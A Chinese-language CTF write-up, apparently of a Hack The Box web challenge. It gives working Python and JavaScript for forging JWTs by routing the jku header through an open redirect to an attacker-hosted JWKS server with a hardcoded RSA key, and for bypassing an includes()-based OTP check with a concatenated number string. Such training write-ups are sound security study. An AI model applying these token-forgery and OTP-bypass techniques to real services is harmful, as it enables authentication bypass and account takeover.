DIFFICULTY:EASY 说实话这个简单纯属是因为出题人给太多提示了,其实这道题光是代码量就够喝一壶了 代码文件中//TODO的部分都是提示,只要把wrapper.py填写完就可以了
step1: implement create_forged_jwt 下面这段代码的JWT验证支持jku,也就是从一个url去拿jwk,只不过限定只能以http://127.0.0.1:1337/开头,但是/api/analytics/redirect路由支持open redirect 就能直接绕过,让axios重定向到我们的服务器
challenge/server/middleware/jwksMiddleware.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 export const verifyToken = async (token ) => { try { const decodedHeader = jwt.decode (token, { complete : true }); if (!decodedHeader || !decodedHeader.header ) { throw new Error ('Invalid token: Missing header' ); } const { kid, jku } = decodedHeader.header ; if (!jku) { throw new Error ('Invalid token: Missing header jku' ); } if (!jku.startsWith ('http://127.0.0.1:1337/' )) { throw new Error ('Invalid token: jku claim does not start with http://127.0.0.1:1337/' ); } if (!kid) { throw new Error ('Invalid token: Missing header kid' ); } if (kid !== KEY_ID ) { return new Error ('Invalid token: kid does not match the expected key ID' ); } let jwks; try { const response = await axios.get (jku); if (response.status !== 200 ) { throw new Error (`Failed to fetch JWKS: HTTP ${response.status} ` ); } jwks = response.data ; } catch (error) { throw new Error (`Error fetching JWKS from jku: ${error.message} ` ); } if (!jwks || !Array .isArray (jwks.keys )) { throw new Error ('Invalid JWKS: Expected keys array' ); } const jwk = jwks.keys .find ((key ) => key.kid === kid); if (!jwk) { throw new Error ('Invalid token: kid not found in JWKS' ); } if (jwk.alg !== 'RS256' ) { throw new Error ('Invalid key algorithm: Expected RS256' ); } if (!jwk.n || !jwk.e ) { throw new Error ('Invalid JWK: Missing modulus (n) or exponent (e)' ); } const publicKey = jwkToPem (jwk); const decoded = jwt.verify (token, publicKey, { algorithms : ['RS256' ] }); return decoded; } catch (error) { console .error (`Token verification failed: ${error.message} ` ); throw error; } };
服务器返回jwk的格式应该是json
1 2 3 4 5 6 7 8 { "kty" : "RSA" , "kid" : "5cf5a00e-b3ff-4937-91a0-d25d2822084c" , "alg" : "RS256" , "use" : "sig" , "n" : "q4cmLGtQvMFpoV5gLzTjldo0yRqIxSbosHYu6cAGV19StWndRQ80xI8ZsP3J8TyxGFxKn19ha+Vtpm4Sxryr3w==" , "e" : "AQAB" }
注册一个账号,拿到账号的authorization头,bearer 后面的base64解码提取一个kid就可以了
然后还得生成一个有效的jwt签名,这个我们离线生成好然后记下来,之后放在authorization头里面,可以一直用,服务器没有检查jwt验证后用户是谁,也就是验证 通过后可以登录任何用户,rsa的密钥对我们自己生成一对(可以用我生成的,无需修改),我们的服务器返回的是base64编码十六进制值后的n和e,htb服务器会用这 两个验证我们的authorization头
给出我的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 def create_forged_jwt (jku_url,payload ): '''(ノ◕ヮ◕)ノ*:・゚✧''' import random from jwt import encode from jwt import decode from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import load_der_private_key from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives import hashes import base64 random.seed(42 ) n=0xab87262c6b50bcc169a15e602f34e395da34c91a88c526e8b0762ee9c006575f52b569dd450f34c48f19b0fdc9f13cb1185c4a9f5f616be56da66e12c6bcabdf e=0x10001 d=0x20de1ed47823da677d642c7f65cc4ea7d24e3712dc8e5aac4fd3f59d58ec5e25579467783239f16db728e782258b8c22e3c7074cd75c8276ca82562cd294ddd1 p=0xd4f82fe5149161f8a01de650497673390dd1dd98034a6fc953080c62769cae0b q=0xce2f67751e0f6c4e440f443c2333c54d26eb3c10ce1926331431d5f187e7e1fd dmp1 = d % (p - 1 ) dmq1 = d % (q - 1 ) iqmp = pow (q, -1 , p) public_numbers = rsa.RSAPublicNumbers(e, n) public_key = public_numbers.public_key() public_key_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format =serialization.PublicFormat.SubjectPublicKeyInfo ) private_numbers = rsa.RSAPrivateNumbers( p=p, q=q, d=d, dmp1=dmp1, dmq1=dmq1, iqmp=iqmp, public_numbers=public_numbers, ) private_key=private_numbers.private_key() private_key_pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format =serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() ) private_key_pem_str = private_key_pem.decode('utf-8' ) payload = payload proxy=jku_url+"/" headers={ "alg" : "RS256" , "typ" : "JWT" , "kid" : "5cf5a00e-b3ff-4937-91a0-d25d2822084c" , "jku" : f"http://127.0.0.1:1337/api/analytics/redirect?url={proxy} key&ref=aaa" } sig = encode(payload, private_key_pem_str, algorithm="RS256" , headers=headers) decoded = decode(sig, public_key_pem, algorithms=["RS256" ]) auth=sig return auth
下面是我做题用的服务器脚本,不管你用什么把服务器搞到公网一定要保证连通性(没vps可以用frp)
server.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import urllib.parsefrom flask import Flask, send_from_directory, abort,render_template_string,requestimport osimport urllibimport inspectimport jsonimport base64from cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.hazmat.primitives import serializationdef generate_jwks (): private_key = rsa.generate_private_key( public_exponent=65537 , key_size=512 ) public_key = private_key.public_key() public_numbers = public_key.public_numbers() n = public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7 ) // 8 , 'big' ) e = public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7 ) // 8 , 'big' ) print (private_key.private_numbers().d) jwk = { "kty" : "RSA" , "kid" : "5cf5a00e-b3ff-4937-91a0-d25d2822084c" , "alg" : "RS256" , "use" : "sig" , "n" : "q4cmLGtQvMFpoV5gLzTjldo0yRqIxSbosHYu6cAGV19StWndRQ80xI8ZsP3J8TyxGFxKn19ha+Vtpm4Sxryr3w==" , "e" : "AQAB" } jwks = { "keys" : [jwk] } return json.dumps(jwks, indent=4 ) app = Flask(__name__) CURRENT_DIR = os.getcwd() @app.route('/key' , methods=["GET" ] ) def template (): return generate_jwks(),200 ,{"Content-Type" :"application/json" } if __name__ == '__main__' : app.run(port=1234 ,debug=True )
step2:爆破otp 如题,wrapper.py现在只缺otp参数,这个参数实际是一个1000-10000的密码:
1 await setHash (`otp:${userId} ` , { otp, expiresAt : Date .now () + ttl * 1000 });
一分钟更新一次,但是验证却是用下面的逻辑:
1 2 3 4 5 if (!otp.includes (validOtp)) { reply.status (401 ).send ({ error : 'Invalid OTP.' }); return ; }
包含otp就可以,所以我们弄一个字符串包含所有1000-10000的字符串就可以了,要让字符串尽可能短就要最大化字符前缀的利用率,这好像是个算法题…. 开玩笑的,字符串长度其实没限制,暴力枚举所有字符串就好
1 2 3 4 5 6 7 8 let s = '' ;for (let i = 1000 ; i <= 10000 ; i++) { s += i; } s = s.slice (0 , -1 ); const x = Math .floor (Math .random () * (10000 - 1000 + 1 )) + 1000 ;console .log (s);console .log (s.includes (x));
记录下来然后在wrapper.py中添加otp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx就好
完整的代码(包括源代码):点我